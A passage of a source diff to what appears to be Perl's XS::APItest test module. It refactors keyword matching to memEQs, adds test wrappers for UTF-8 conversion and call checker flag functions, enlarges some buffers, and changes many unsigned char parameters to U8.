+    } else if (memEQs(keyword_ptr, keyword_len, "stmtasexpr") &&
 		    keyword_active(hintkey_stmtasexpr_sv)) {
 	*op_ptr = parse_keyword_stmtasexpr();
 	return KEYWORD_PLUGIN_EXPR;
-    } else if(keyword_len == 11 && strEQs(keyword_ptr, "stmtsasexpr") &&
+    } else if (memEQs(keyword_ptr, keyword_len, "stmtsasexpr") &&
 		    keyword_active(hintkey_stmtsasexpr_sv)) {
 	*op_ptr = parse_keyword_stmtsasexpr();
 	return KEYWORD_PLUGIN_EXPR;
-    } else if(keyword_len == 9 && strEQs(keyword_ptr, "loopblock") &&
+    } else if (memEQs(keyword_ptr, keyword_len, "loopblock") &&
 		    keyword_active(hintkey_loopblock_sv)) {
 	*op_ptr = parse_keyword_loopblock();
 	return KEYWORD_PLUGIN_STMT;
-    } else if(keyword_len == 11 && strEQs(keyword_ptr, "blockasexpr") &&
+    } else if (memEQs(keyword_ptr, keyword_len, "blockasexpr") &&
 		    keyword_active(hintkey_blockasexpr_sv)) {
 	*op_ptr = parse_keyword_blockasexpr();
 	return KEYWORD_PLUGIN_EXPR;
-    } else if(keyword_len == 9 && strEQs(keyword_ptr, "swaplabel") &&
+    } else if (memEQs(keyword_ptr, keyword_len, "swaplabel") &&
 		    keyword_active(hintkey_swaplabel_sv)) {
 	*op_ptr = parse_keyword_swaplabel();
 	return KEYWORD_PLUGIN_STMT;
-    } else if(keyword_len == 10 && strEQs(keyword_ptr, "labelconst") &&
+    } else if (memEQs(keyword_ptr, keyword_len, "labelconst") &&
 		    keyword_active(hintkey_labelconst_sv)) {
 	*op_ptr = parse_keyword_labelconst();
 	return KEYWORD_PLUGIN_EXPR;
-    } else if(keyword_len == 13 && strEQs(keyword_ptr, "arrayfullexpr") &&
+    } else if (memEQs(keyword_ptr, keyword_len, "arrayfullexpr") &&
 		    keyword_active(hintkey_arrayfullexpr_sv)) {
 	*op_ptr = parse_keyword_arrayfullexpr();
 	return KEYWORD_PLUGIN_EXPR;
-    } else if(keyword_len == 13 && strEQs(keyword_ptr, "arraylistexpr") &&
+    } else if (memEQs(keyword_ptr, keyword_len, "arraylistexpr") &&
 		    keyword_active(hintkey_arraylistexpr_sv)) {
 	*op_ptr = parse_keyword_arraylistexpr();
 	return KEYWORD_PLUGIN_EXPR;
-    } else if(keyword_len == 13 && strEQs(keyword_ptr, "arraytermexpr") &&
+    } else if (memEQs(keyword_ptr, keyword_len, "arraytermexpr") &&
 		    keyword_active(hintkey_arraytermexpr_sv)) {
 	*op_ptr = parse_keyword_arraytermexpr();
 	return KEYWORD_PLUGIN_EXPR;
-    } else if(keyword_len == 14 && strEQs(keyword_ptr, "arrayarithexpr") &&
+    } else if (memEQs(keyword_ptr, keyword_len, "arrayarithexpr") &&
 		    keyword_active(hintkey_arrayarithexpr_sv)) {
 	*op_ptr = parse_keyword_arrayarithexpr();
 	return KEYWORD_PLUGIN_EXPR;
-    } else if(keyword_len == 14 && strEQs(keyword_ptr, "arrayexprflags") &&
+    } else if (memEQs(keyword_ptr, keyword_len, "arrayexprflags") &&
 		    keyword_active(hintkey_arrayexprflags_sv)) {
 	*op_ptr = parse_keyword_arrayexprflags();
 	return KEYWORD_PLUGIN_EXPR;
-    } else if(keyword_len == 5 && strEQs(keyword_ptr, "DEFSV") &&
+    } else if (memEQs(keyword_ptr, keyword_len, "DEFSV") &&
 		    keyword_active(hintkey_DEFSV_sv)) {
 	*op_ptr = parse_keyword_DEFSV();
 	return KEYWORD_PLUGIN_EXPR;
-    } else if(keyword_len == 9 && strEQs(keyword_ptr, "with_vars") &&
+    } else if (memEQs(keyword_ptr, keyword_len, "with_vars") &&
 		    keyword_active(hintkey_with_vars_sv)) {
 	*op_ptr = parse_keyword_with_vars();
 	return KEYWORD_PLUGIN_STMT;
-    } else if(keyword_len == 15 && strEQs(keyword_ptr, "join_with_space") &&
+    } else if (memEQs(keyword_ptr, keyword_len, "join_with_space") &&
 		    keyword_active(hintkey_join_with_space_sv)) {
 	*op_ptr = parse_join_with_space();
 	return KEYWORD_PLUGIN_EXPR;
     } else {
+        assert(next_keyword_plugin != my_keyword_plugin);
 	return next_keyword_plugin(aTHX_ keyword_ptr, keyword_len, op_ptr);
     }
 }
@@ -1374,15 +1380,76 @@
 	RETVAL
 
 AV *
+test_utf8_to_bytes(bytes, len)
+        U8 * bytes
+        STRLEN len
+    PREINIT:
+        char * ret;
+    CODE:
+        RETVAL = newAV();
+        sv_2mortal((SV*)RETVAL);
+
+        ret = (char *) utf8_to_bytes(bytes, &len);
+        av_push(RETVAL, newSVpv(ret, 0));
+
+        /* utf8_to_bytes uses (STRLEN)-1 to signal errors, and we want to
+         * return that as -1 to perl, so cast to SSize_t in case
+         * sizeof(IV) > sizeof(STRLEN) */
+        av_push(RETVAL, newSViv((SSize_t)len));
+        av_push(RETVAL, newSVpv((const char *) bytes, 0));
+
+    OUTPUT:
+        RETVAL
+
+AV *
+test_utf8n_to_uvchr_msgs(s, len, flags)
+        char *s
+        STRLEN len
+        U32 flags
+    PREINIT:
+        STRLEN retlen;
+        UV ret;
+        U32 errors;
+        AV *msgs = NULL;
+
+    CODE:
+        RETVAL = newAV();
+        sv_2mortal((SV*)RETVAL);
+
+        ret = utf8n_to_uvchr_msgs((U8*)  s,
+                                         len,
+                                         &retlen,
+                                         flags,
+                                         &errors,
+                                         &msgs);
+
+        /* Returns the return value in [0]; <retlen> in [1], <errors> in [2] */
+        av_push(RETVAL, newSVuv(ret));
+        if (retlen == (STRLEN) -1) {
+            av_push(RETVAL, newSViv(-1));
+        }
+        else {
+            av_push(RETVAL, newSVuv(retlen));
+        }
+        av_push(RETVAL, newSVuv(errors));
+
+        /* And any messages in [3] */
+        if (msgs) {
+            av_push(RETVAL, newRV_noinc((SV*)msgs));
+        }
+
+    OUTPUT:
+        RETVAL
+
+AV *
 test_utf8n_to_uvchr_error(s, len, flags)
 
-        SV *s
-        SV *len
-        SV *flags
+        char *s
+        STRLEN len
+        U32 flags
     PREINIT:
         STRLEN retlen;
         UV ret;
-        STRLEN slen;
         U32 errors;
 
     CODE:
@@ -1395,10 +1462,10 @@
         RETVAL = newAV();
         sv_2mortal((SV*)RETVAL);
 
-        ret = utf8n_to_uvchr_error((U8*) SvPV(s, slen),
-                                         SvUV(len),
+        ret = utf8n_to_uvchr_error((U8*) s,
+                                         len,
                                          &retlen,
-                                         SvUV(flags),
+                                         flags,
                                          &errors);
 
         /* Returns the return value in [0]; <retlen> in [1], <errors> in [2] */
@@ -1421,7 +1488,6 @@
     PREINIT:
         STRLEN retlen;
         UV ret;
-        STRLEN slen;
 
     CODE:
         /* Call utf8n_to_uvchr() with the inputs.  It always asks for the
@@ -1432,8 +1498,7 @@
         RETVAL = newAV();
         sv_2mortal((SV*)RETVAL);
 
-        ret
-         = valid_utf8_to_uvchr((U8*) SvPV(s, slen), &retlen);
+        ret = valid_utf8_to_uvchr((U8*) SvPV_nolen(s), &retlen);
 
         /* Returns the return value in [0]; <retlen> in [1] */
         av_push(RETVAL, newSVuv(ret));
@@ -1448,7 +1513,7 @@
         SV *uv
         SV *flags
     PREINIT:
-        U8 dest[UTF8_MAXBYTES];
+        U8 dest[UTF8_MAXBYTES + 1];
         U8 *ret;
 
     CODE:
@@ -1462,6 +1527,36 @@
     OUTPUT:
         RETVAL
 
+AV *
+test_uvchr_to_utf8_flags_msgs(uv, flags)
+
+        SV *uv
+        SV *flags
+    PREINIT:
+        U8 dest[UTF8_MAXBYTES + 1];
+        U8 *ret;
+
+    CODE:
+        HV *msgs = NULL;
+        RETVAL = newAV();
+        sv_2mortal((SV*)RETVAL);
+
+        ret = uvchr_to_utf8_flags_msgs(dest, SvUV(uv), SvUV(flags), &msgs);
+
+        if (ret) {
+            av_push(RETVAL, newSVpvn((char *) dest, ret - dest));
+        }
+        else {
+            av_push(RETVAL,  &PL_sv_undef);
+        }
+
+        if (msgs) {
+            av_push(RETVAL, newRV_noinc((SV*)msgs));
+        }
+
+    OUTPUT:
+        RETVAL
+
 MODULE = XS::APItest:Overload	PACKAGE = XS::APItest::Overload
 
 void
@@ -2314,6 +2409,7 @@
     I32 retcnt;
     SV * errsv;
     char * errstr;
+    STRLEN errlen;
     SV * miscsv = sv_newmortal();
     HV * hv = (HV*)sv_2mortal((SV*)newHV());
 CODE:
@@ -2339,17 +2435,24 @@
        only current internal behavior, these tests can be changed in the
        future if necessery */
     PUSHMARK(SP);
-    retcnt = call_sv(&PL_sv_yes, 0); /* does nothing */
+    retcnt = call_sv(&PL_sv_yes, G_EVAL);
     SPAGAIN;
     SP -= retcnt;
+    errsv = ERRSV;
+    errstr = SvPV(errsv, errlen);
+    if(memBEGINs(errstr, errlen, "Undefined subroutine &main::1 called at")) {
+        PUSHMARK(SP);
+        retcnt = call_sv((SV*)i_sub, 0); /* call again to increase counter */
+        SPAGAIN;
+        SP -= retcnt;
+    }
     PUSHMARK(SP);
     retcnt = call_sv(&PL_sv_no, G_EVAL);
     SPAGAIN;
     SP -= retcnt;
     errsv = ERRSV;
-    errstr = SvPV_nolen(errsv);
-    if(strnEQ(errstr, "Undefined subroutine &main:: called at",
-              sizeof("Undefined subroutine &main:: called at") - 1)) {
+    errstr = SvPV(errsv, errlen);
+    if(memBEGINs(errstr, errlen, "Undefined subroutine &main:: called at")) {
         PUSHMARK(SP);
         retcnt = call_sv((SV*)i_sub, 0); /* call again to increase counter */
         SPAGAIN;
@@ -2360,9 +2463,8 @@
     SPAGAIN;
     SP -= retcnt;
     errsv = ERRSV;
-    errstr = SvPV_nolen(errsv);
-    if(strnEQ(errstr, "Can't use an undefined value as a subroutine reference at",
-              sizeof("Can't use an undefined value as a subroutine reference at") - 1)) {
+    errstr = SvPV(errsv, errlen);
+    if(memBEGINs(errstr, errlen, "Can't use an undefined value as a subroutine reference at")) {
         PUSHMARK(SP);
         retcnt = call_sv((SV*)i_sub, 0); /* call again to increase counter */
         SPAGAIN;
@@ -2373,9 +2475,8 @@
     SPAGAIN;
     SP -= retcnt;
     errsv = ERRSV;
-    errstr = SvPV_nolen(errsv);
-    if(strnEQ(errstr, "Not a CODE reference at",
-              sizeof("Not a CODE reference at") - 1)) {
+    errstr = SvPV(errsv, errlen);
+    if(memBEGINs(errstr, errlen, "Not a CODE reference at")) {
         PUSHMARK(SP);
         retcnt = call_sv((SV*)i_sub, 0); /* call again to increase counter */
         SPAGAIN;
@@ -2889,7 +2990,7 @@
 	    len = SvUV(ST(1));
  	}
 	/* Mortalise this right now, as we'll be testing croak()s  */
-	dest = sv_2mortal(newSV(len * 3 / 2 + 1));
+	dest = sv_2mortal(newSV(len * 2 + 1));
 	if (ix) {
 	    utf16_to_utf8_reversed(source, (U8 *)SvPVX(dest), len, &got);
 	} else {
@@ -3088,34 +3189,60 @@
 	CV *troc_cv, *tsh_cv;
 	Perl_call_checker ckfun;
 	SV *ckobj;
+	U32 ckflags;
     CODE:
-#define check_cc(cv, xckfun, xckobj) \
+#define check_cc(cv, xckfun, xckobj, xckflags) \
     do { \
 	cv_get_call_checker((cv), &ckfun, &ckobj); \
-	if (ckfun != (xckfun)) croak_fail_ne(FPTR2DPTR(void *, ckfun), xckfun); \
-	if (ckobj != (xckobj)) croak_fail_ne(FPTR2DPTR(void *, ckobj), xckobj); \
+	if (ckfun != (xckfun)) croak_fail_nep(FPTR2DPTR(void *, ckfun), xckfun); \
+	if (ckobj != (xckobj)) croak_fail_nep(FPTR2DPTR(void *, ckobj), xckobj); \
+	cv_get_call_checker_flags((cv), CALL_CHECKER_REQUIRE_GV, &ckfun, &ckobj, &ckflags); \
+	if (ckfun != (xckfun)) croak_fail_nep(FPTR2DPTR(void *, ckfun), xckfun); \
+	if (ckobj != (xckobj)) croak_fail_nep(FPTR2DPTR(void *, ckobj), xckobj); \
+	if (ckflags != CALL_CHECKER_REQUIRE_GV) croak_fail_nei(ckflags, CALL_CHECKER_REQUIRE_GV); \
+	cv_get_call_checker_flags((cv), 0, &ckfun, &ckobj, &ckflags); \
+	if (ckfun != (xckfun)) croak_fail_nep(FPTR2DPTR(void *, ckfun), xckfun); \
+	if (ckobj != (xckobj)) croak_fail_nep(FPTR2DPTR(void *, ckobj), xckobj); \
+	if (ckflags != (xckflags)) croak_fail_nei(ckflags, (xckflags)); \
     } while(0)
 	troc_cv = get_cv("XS::APItest::test_rv2cv_op_cv", 0);
 	tsh_cv = get_cv("XS::APItest::test_savehints", 0);
-	check_cc(troc_cv, Perl_ck_entersub_args_proto_or_list, (SV*)troc_cv);
-	check_cc(tsh_cv, Perl_ck_entersub_args_proto_or_list, (SV*)tsh_cv);
+	check_cc(troc_cv, Perl_ck_entersub_args_proto_or_list, (SV*)troc_cv, 0);
+	check_cc(tsh_cv, Perl_ck_entersub_args_proto_or_list, (SV*)tsh_cv, 0);
 	cv_set_call_checker(tsh_cv, Perl_ck_entersub_args_proto_or_list,
 				    &PL_sv_yes);
-	check_cc(troc_cv, Perl_ck_entersub_args_proto_or_list, (SV*)troc_cv);
-	check_cc(tsh_cv, Perl_ck_entersub_args_proto_or_list, &PL_sv_yes);
+	check_cc(troc_cv, Perl_ck_entersub_args_proto_or_list, (SV*)troc_cv, 0);
+	check_cc(tsh_cv, Perl_ck_entersub_args_proto_or_list, &PL_sv_yes, CALL_CHECKER_REQUIRE_GV);
 	cv_set_call_checker(troc_cv, THX_ck_entersub_args_scalars, &PL_sv_no);
-	check_cc(troc_cv, THX_ck_entersub_args_scalars, &PL_sv_no);
-	check_cc(tsh_cv, Perl_ck_entersub_args_proto_or_list, &PL_sv_yes);
+	check_cc(troc_cv, THX_ck_entersub_args_scalars, &PL_sv_no, CALL_CHECKER_REQUIRE_GV);
+	check_cc(tsh_cv, Perl_ck_entersub_args_proto_or_list, &PL_sv_yes, CALL_CHECKER_REQUIRE_GV);
 	cv_set_call_checker(tsh_cv, Perl_ck_entersub_args_proto_or_list,
 				    (SV*)tsh_cv);
-	check_cc(troc_cv, THX_ck_entersub_args_scalars, &PL_sv_no);
-	check_cc(tsh_cv, Perl_ck_entersub_args_proto_or_list, (SV*)tsh_cv);
+	check_cc(troc_cv, THX_ck_entersub_args_scalars, &PL_sv_no, CALL_CHECKER_REQUIRE_GV);
+	check_cc(tsh_cv, Perl_ck_entersub_args_proto_or_list, (SV*)tsh_cv, 0);
 	cv_set_call_checker(troc_cv, Perl_ck_entersub_args_proto_or_list,
 				    (SV*)troc_cv);
-	check_cc(troc_cv, Perl_ck_entersub_args_proto_or_list, (SV*)troc_cv);
-	check_cc(tsh_cv, Perl_ck_entersub_args_proto_or_list, (SV*)tsh_cv);
+	check_cc(troc_cv, Perl_ck_entersub_args_proto_or_list, (SV*)troc_cv, 0);
+	check_cc(tsh_cv, Perl_ck_entersub_args_proto_or_list, (SV*)tsh_cv, 0);
 	if (SvMAGICAL((SV*)troc_cv) || SvMAGIC((SV*)troc_cv)) croak_fail();
 	if (SvMAGICAL((SV*)tsh_cv) || SvMAGIC((SV*)tsh_cv)) croak_fail();
+	cv_set_call_checker_flags(tsh_cv, Perl_ck_entersub_args_proto_or_list,
+				    &PL_sv_yes, 0);
+	check_cc(tsh_cv, Perl_ck_entersub_args_proto_or_list, &PL_sv_yes, 0);
+	cv_set_call_checker_flags(tsh_cv, Perl_ck_entersub_args_proto_or_list,
+				    &PL_sv_yes, CALL_CHECKER_REQUIRE_GV);
+	check_cc(tsh_cv, Perl_ck_entersub_args_proto_or_list, &PL_sv_yes, CALL_CHECKER_REQUIRE_GV);
+	cv_set_call_checker_flags(tsh_cv, Perl_ck_entersub_args_proto_or_list,
+				    (SV*)tsh_cv, 0);
+	check_cc(tsh_cv, Perl_ck_entersub_args_proto_or_list, (SV*)tsh_cv, 0);
+	if (SvMAGICAL((SV*)tsh_cv) || SvMAGIC((SV*)tsh_cv)) croak_fail();
+	cv_set_call_checker_flags(tsh_cv, Perl_ck_entersub_args_proto_or_list,
+				    &PL_sv_yes, CALL_CHECKER_REQUIRE_GV);
+	check_cc(tsh_cv, Perl_ck_entersub_args_proto_or_list, &PL_sv_yes, CALL_CHECKER_REQUIRE_GV);
+	cv_set_call_checker_flags(tsh_cv, Perl_ck_entersub_args_proto_or_list,
+				    (SV*)tsh_cv, CALL_CHECKER_REQUIRE_GV);
+	check_cc(tsh_cv, Perl_ck_entersub_args_proto_or_list, (SV*)tsh_cv, 0);
+	if (SvMAGICAL((SV*)tsh_cv) || SvMAGIC((SV*)tsh_cv)) croak_fail();
 #undef check_cc
 
 void
@@ -3313,13 +3440,13 @@
         cop = &PL_compiling;
         Perl_cop_store_label(aTHX_ cop, "foo", 3, 0);
         label = Perl_cop_fetch_label(aTHX_ cop, &len, &utf8);
-        if (strcmp(label,"foo")) croak("fail # cop_fetch_label label");
+        if (strNE(label,"foo")) croak("fail # cop_fetch_label label");
         if (len != 3) croak("fail # cop_fetch_label len");
         if (utf8) croak("fail # cop_fetch_label utf8");
         /* SMALL GERMAN UMLAUT A */
         Perl_cop_store_label(aTHX_ cop, "fo\xc3\xa4", 4, SVf_UTF8);
         label = Perl_cop_fetch_label(aTHX_ cop, &len, &utf8);
-        if (strcmp(label,"fo\xc3\xa4")) croak("fail # cop_fetch_label label");
+        if (strNE(label,"fo\xc3\xa4")) croak("fail # cop_fetch_label label");
         if (len != 4) croak("fail # cop_fetch_label len");
         if (!utf8) croak("fail # cop_fetch_label utf8");
 
@@ -3450,7 +3577,7 @@
 #define iv_op(iv) newSVOP(OP_CONST, 0, newSViv(iv))
 #define check_op(o, expect) \
     do { \
-	if (strcmp(test_op_list_describe(o), (expect))) \
+	if (strNE(test_op_list_describe(o), (expect))) \
 	    croak("fail %s %s", test_op_list_describe(o), (expect)); \
     } while(0)
 	a = op_append_elem(OP_LIST, NULL, NULL);
@@ -3871,8 +3998,7 @@
     hintkey_DEFSV_sv = newSVpvs_share("XS::APItest/DEFSV");
     hintkey_with_vars_sv = newSVpvs_share("XS::APItest/with_vars");
     hintkey_join_with_space_sv = newSVpvs_share("XS::APItest/join_with_space");
-    next_keyword_plugin = PL_keyword_plugin;
-    PL_keyword_plugin = my_keyword_plugin;
+    wrap_keyword_plugin(my_keyword_plugin, &next_keyword_plugin);
 }
 
 void
@@ -4250,6 +4376,50 @@
     OUTPUT:
         RETVAL
 
+CV *
+get_cv(SV *sv)
+    CODE:
+    {
+        STRLEN len;
+        const char *s = SvPV(sv, len);
+        RETVAL = get_cvn_flags(s, len, 0);
+    }
+    OUTPUT:
+        RETVAL
+
+CV *
+get_cv_flags(SV *sv, UV flags)
+    CODE:
+    {
+        STRLEN len;
+        const char *s = SvPV(sv, len);
+        RETVAL = get_cvn_flags(s, len, flags);
+    }
+    OUTPUT:
+        RETVAL
+
+void
+unshift_and_set_defav(SV *sv,...)
+    CODE:
+	av_unshift(GvAVn(PL_defgv), 1);
+	av_store(GvAV(PL_defgv), 0, newSVuv(42));
+	sv_setuv(sv, 43);
+
+PerlIO *
+PerlIO_stderr()
+
+OutputStream
+PerlIO_stdout()
+
+InputStream
+PerlIO_stdin()
+
+#undef FILE
+#define FILE NativeFile
+
+FILE *
+PerlIO_exportFILE(PerlIO *f, const char *mode)
+
 MODULE = XS::APItest PACKAGE = XS::APItest::AUTOLOADtest
 
 int
@@ -4414,9 +4584,9 @@
         RETVAL
 
 bool
-test_isBLANK_utf8(unsigned char * p, int type)
+test_isBLANK_utf8(U8 * p, int type)
     PREINIT:
-	const unsigned char * e;
+	const U8 * e;
     CODE:
 
         /* In this function and those that follow, the boolean 'type'
@@ -4433,9 +4603,9 @@
         RETVAL
 
 bool
-test_isBLANK_LC_utf8(unsigned char * p, int type)
+test_isBLANK_LC_utf8(U8 * p, int type)
     PREINIT:
-	const unsigned char * e;
+	const U8 * e;
     CODE:
         if (type >= 0) {
             e = p + UTF8SKIP(p) - type;
@@ -4462,9 +4632,9 @@
         RETVAL
 
 bool
-test_isVERTWS_utf8(unsigned char * p, int type)
+test_isVERTWS_utf8(U8 * p, int type)
     PREINIT:
-	const unsigned char * e;
+	const U8 * e;
     CODE:
         if (type >= 0) {
             e = p + UTF8SKIP(p) - type;
@@ -4526,9 +4696,9 @@
         RETVAL
 
 bool
-test_isUPPER_utf8(unsigned char * p, int type)
+test_isUPPER_utf8(U8 * p, int type)
     PREINIT:
-	const unsigned char * e;
+	const U8 * e;
     CODE:
         if (type >= 0) {
             e = p + UTF8SKIP(p) - type;
@@ -4541,9 +4711,9 @@
         RETVAL
 
 bool
-test_isUPPER_LC_utf8(unsigned char * p, int type)
+test_isUPPER_LC_utf8(U8 * p, int type)
     PREINIT:
-	const unsigned char * e;
+	const U8 * e;
     CODE:
         if (type >= 0) {
             e = p + UTF8SKIP(p) - type;
@@ -4605,9 +4775,9 @@
         RETVAL
 
 bool
-test_isLOWER_utf8(unsigned char * p, int type)
+test_isLOWER_utf8(U8 * p, int type)
     PREINIT:
-	const unsigned char * e;
+	const U8 * e;
     CODE:
         if (type >= 0) {
             e = p + UTF8SKIP(p) - type;
@@ -4620,9 +4790,9 @@
         RETVAL
 
 bool
-test_isLOWER_LC_utf8(unsigned char * p, int type)
+test_isLOWER_LC_utf8(U8 * p, int type)
     PREINIT:
-	const unsigned char * e;
+	const U8 * e;
     CODE:
         if (type >= 0) {
             e = p + UTF8SKIP(p) - type;
@@ -4684,9 +4854,9 @@
         RETVAL
 
 bool
-test_isALPHA_utf8(unsigned char * p, int type)
+test_isALPHA_utf8(U8 * p, int type)
     PREINIT:
-	const unsigned char * e;
+	const U8 * e;
     CODE:
         if (type >= 0) {
             e = p + UTF8SKIP(p) - type;
@@ -4699,9 +4869,9 @@
         RETVAL
 
 bool
-test_isALPHA_LC_utf8(unsigned char * p, int type)
+test_isALPHA_LC_utf8(U8 * p, int type)
     PREINIT:
-	const unsigned char * e;
+	const U8 * e;
     CODE:
         if (type >= 0) {
             e = p + UTF8SKIP(p) - type;
@@ -4763,9 +4933,9 @@
         RETVAL
 
 bool
-test_isWORDCHAR_utf8(unsigned char * p, int type)
+test_isWORDCHAR_utf8(U8 * p, int type)
     PREINIT:
-	const unsigned char * e;
+	const U8 * e;
     CODE:
         if (type >= 0) {
             e = p + UTF8SKIP(p) - type;
@@ -4778,9 +4948,9 @@
         RETVAL
 
 bool
-test_isWORDCHAR_LC_utf8(unsigned char * p, int type)
+test_isWORDCHAR_LC_utf8(U8 * p, int type)
     PREINIT:
-	const unsigned char * e;
+	const U8 * e;
     CODE:
         if (type >= 0) {
             e = p + UTF8SKIP(p) - type;
@@ -4842,9 +5012,9 @@
         RETVAL
 
 bool
-test_isALPHANUMERIC_utf8(unsigned char * p, int type)
+test_isALPHANUMERIC_utf8(U8 * p, int type)
     PREINIT:
-	const unsigned char * e;
+	const U8 * e;
     CODE:
         if (type >= 0) {
             e = p + UTF8SKIP(p) - type;
@@ -4857,9 +5027,9 @@
         RETVAL
 
 bool
-test_isALPHANUMERIC_LC_utf8(unsigned char * p, int type)
+test_isALPHANUMERIC_LC_utf8(U8 * p, int type)
     PREINIT:
-	const unsigned char * e;
+	const U8 * e;
     CODE:
         if (type >= 0) {
             e = p + UTF8SKIP(p) - type;
@@ -4900,9 +5070,9 @@
         RETVAL
 
 bool
-test_isALNUM_utf8(unsigned char * p, int type)
+test_isALNUM_utf8(U8 * p, int type)
     PREINIT:
-	const unsigned char * e;
+	const U8 * e;
     CODE:
         if (type >= 0) {
             e = p + UTF8SKIP(p) - type;
@@ -4915,9 +5085,9 @@
         RETVAL
 
 bool
-test_isALNUM_LC_utf8(unsigned char * p, int type)
+test_isALNUM_LC_utf8(U8 * p, int type)
     PREINIT:
-	const unsigned char * e;
+	const U8 * e;
     CODE:
         if (type >= 0) {
             e = p + UTF8SKIP(p) - type;
@@ -4951,9 +5121,9 @@
         RETVAL
 
 bool
-test_isDIGIT_utf8(unsigned char * p, int type)
+test_isDIGIT_utf8(U8 * p, int type)
     PREINIT:
-	const unsigned char * e;
+	const U8 * e;
     CODE:
         if (type >= 0) {
             e = p + UTF8SKIP(p) - type;
@@ -4966,9 +5136,9 @@
         RETVAL
 
 bool
-test_isDIGIT_LC_utf8(unsigned char * p, int type)
+test_isDIGIT_LC_utf8(U8 * p, int type)
     PREINIT:
-	const unsigned char * e;
+	const U8 * e;
     CODE:
         if (type >= 0) {
             e = p + UTF8SKIP(p) - type;
@@ -5079,9 +5249,9 @@
         RETVAL
 
 bool
-test_isIDFIRST_utf8(unsigned char * p, int type)
+test_isIDFIRST_utf8(U8 * p, int type)
     PREINIT:
-	const unsigned char * e;
+	const U8 * e;
     CODE:
         if (type >= 0) {
             e = p + UTF8SKIP(p) - type;
@@ -5094,9 +5264,9 @@
         RETVAL
 
 bool
-test_isIDFIRST_LC_utf8(unsigned char * p, int type)
+test_isIDFIRST_LC_utf8(U8 * p, int type)
     PREINIT:
-	const unsigned char * e;
+	const U8 * e;
     CODE:
         if (type >= 0) {
             e = p + UTF8SKIP(p) - type;
@@ -5158,9 +5328,9 @@
         RETVAL
 
 bool
-test_isIDCONT_utf8(unsigned char * p, int type)
+test_isIDCONT_utf8(U8 * p, int type)
     PREINIT:
-	const unsigned char * e;
+	const U8 * e;
     CODE:
         if (type >= 0) {
             e = p + UTF8SKIP(p) - type;
@@ -5173,9 +5343,9 @@
         RETVAL
 
 bool
-test_isIDCONT_LC_utf8(unsigned char * p, int type)
+test_isIDCONT_LC_utf8(U8 * p, int type)
     PREINIT:
-	const unsigned char * e;
+	const U8 * e;
     CODE:
         if (type >= 0) {
             e = p + UTF8SKIP(p) - type;
@@ -5237,9 +5407,9 @@
         RETVAL
 
 bool
-test_isSPACE_utf8(unsigned char * p, int type)
+test_isSPACE_utf8(U8 * p, int type)
     PREINIT:
-	const unsigned char * e;
+	const U8 * e;
     CODE:
         if (type >= 0) {
             e = p + UTF8SKIP(p) - type;
@@ -5252,9 +5422,9 @@
         RETVAL
 
 bool
-test_isSPACE_LC_utf8(unsigned char * p, int type)
+test_isSPACE_LC_utf8(U8 * p, int type)
     PREINIT:
-	const unsigned char * e;
+	const U8 * e;
     CODE:
         if (type >= 0) {
             e = p + UTF8SKIP(p) - type;
@@ -5316,9 +5486,9 @@
         RETVAL
 
 bool
-test_isASCII_utf8(unsigned char * p, int type)
+test_isASCII_utf8(U8 * p, int type)
     PREINIT:
-	const unsigned char * e;
+	const U8 * e;
     CODE:
 #ifndef DEBUGGING
         PERL_UNUSED_VAR(e);
@@ -5334,9 +5504,9 @@
         RETVAL
 
 bool
-test_isASCII_LC_utf8(unsigned char * p, int type)
+test_isASCII_LC_utf8(U8 * p, int type)
     PREINIT:
-	const unsigned char * e;
+	const U8 * e;
     CODE:
 #ifndef DEBUGGING
         PERL_UNUSED_VAR(e);
@@ -5401,9 +5571,9 @@
         RETVAL
 
 bool
-test_isCNTRL_utf8(unsigned char * p, int type)
+test_isCNTRL_utf8(U8 * p, int type)
     PREINIT:
-	const unsigned char * e;
+	const U8 * e;
     CODE:
         if (type >= 0) {
             e = p + UTF8SKIP(p) - type;
@@ -5416,9 +5586,9 @@
         RETVAL
 
 bool
-test_isCNTRL_LC_utf8(unsigned char * p, int type)
+test_isCNTRL_LC_utf8(U8 * p, int type)
     PREINIT:
-	const unsigned char * e;
+	const U8 * e;
     CODE:
         if (type >= 0) {
             e = p + UTF8SKIP(p) - type;
@@ -5480,9 +5650,9 @@
         RETVAL
 
 bool
-test_isPRINT_utf8(unsigned char * p, int type)
+test_isPRINT_utf8(U8 * p, int type)
     PREINIT:
-	const unsigned char * e;
+	const U8 * e;
     CODE:
         if (type >= 0) {
             e = p + UTF8SKIP(p) - type;
@@ -5495,9 +5665,9 @@
         RETVAL
 
 bool
-test_isPRINT_LC_utf8(unsigned char * p, int type)
+test_isPRINT_LC_utf8(U8 * p, int type)
     PREINIT:
-	const unsigned char * e;
+	const U8 * e;
     CODE:
         if (type >= 0) {
             e = p + UTF8SKIP(p) - type;
@@ -5559,9 +5729,9 @@
         RETVAL
 
 bool
-test_isGRAPH_utf8(unsigned char * p, int type)
+test_isGRAPH_utf8(U8 * p, int type)
     PREINIT:
-	const unsigned char * e;
+	const U8 * e;
     CODE:
         if (type >= 0) {
             e = p + UTF8SKIP(p) - type;
@@ -5574,9 +5744,9 @@
         RETVAL
 
 bool
-test_isGRAPH_LC_utf8(unsigned char * p, int type)
+test_isGRAPH_LC_utf8(U8 * p, int type)
     PREINIT:
-	const unsigned char * e;
+	const U8 * e;
     CODE:
         if (type >= 0) {
             e = p + UTF8SKIP(p) - type;
@@ -5638,9 +5808,9 @@
         RETVAL
 
 bool
-test_isPUNCT_utf8(unsigned char * p, int type)
+test_isPUNCT_utf8(U8 * p, int type)
     PREINIT:
-	const unsigned char * e;
+	const U8 * e;
     CODE:
         if (type >= 0) {
             e = p + UTF8SKIP(p) - type;
@@ -5653,9 +5823,9 @@
         RETVAL
 
 bool
-test_isPUNCT_LC_utf8(unsigned char * p, int type)
+test_isPUNCT_LC_utf8(U8 * p, int type)
     PREINIT:
-	const unsigned char * e;
+	const U8 * e;
     CODE:
         if (type >= 0) {
             e = p + UTF8SKIP(p) - type;
@@ -5717,9 +5887,9 @@
         RETVAL
 
 bool
-test_isXDIGIT_utf8(unsigned char * p, int type)
+test_isXDIGIT_utf8(U8 * p, int type)
     PREINIT:
-	const unsigned char * e;
+	const U8 * e;
     CODE:
         if (type >= 0) {
             e = p + UTF8SKIP(p) - type;
@@ -5732,9 +5902,9 @@
         RETVAL
 
 bool
-test_isXDIGIT_LC_utf8(unsigned char * p, int type)
+test_isXDIGIT_LC_utf8(U8 * p, int type)
     PREINIT:
-	const unsigned char * e;
+	const U8 * e;
     CODE:
         if (type >= 0) {
             e = p + UTF8SKIP(p) - type;
@@ -5796,9 +5966,9 @@
         RETVAL
 
 bool
